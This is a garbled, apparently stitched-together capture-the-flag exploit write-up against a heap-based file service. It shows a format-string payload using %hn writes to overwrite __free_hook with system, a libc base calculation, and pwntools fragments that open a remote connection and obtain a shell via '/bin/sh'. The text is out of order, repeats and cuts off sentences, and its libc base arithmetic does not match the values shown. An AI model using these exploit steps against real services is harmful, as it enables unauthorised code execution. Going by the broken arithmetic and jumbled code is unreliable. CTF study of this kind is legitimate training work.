# Load the exact libc version used on the server (provided by the challenge) libc = ELF('libc-2.31.so')
> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell.
io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt SONE-127 2021
from pwn import *
libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository): # Load the exact libc version used on
The final crafted string (Python example):
%addr_lowc%8$hn%addr_highc%9$hn Because the target address ( __free_hook ) is 8‑byte aligned, we split it into two 2‑byte halves and write with %hn (write 2 bytes). Since buf points to the string "/bin/sh" , we get a shell
def main(): io = remote(HOST, PORT)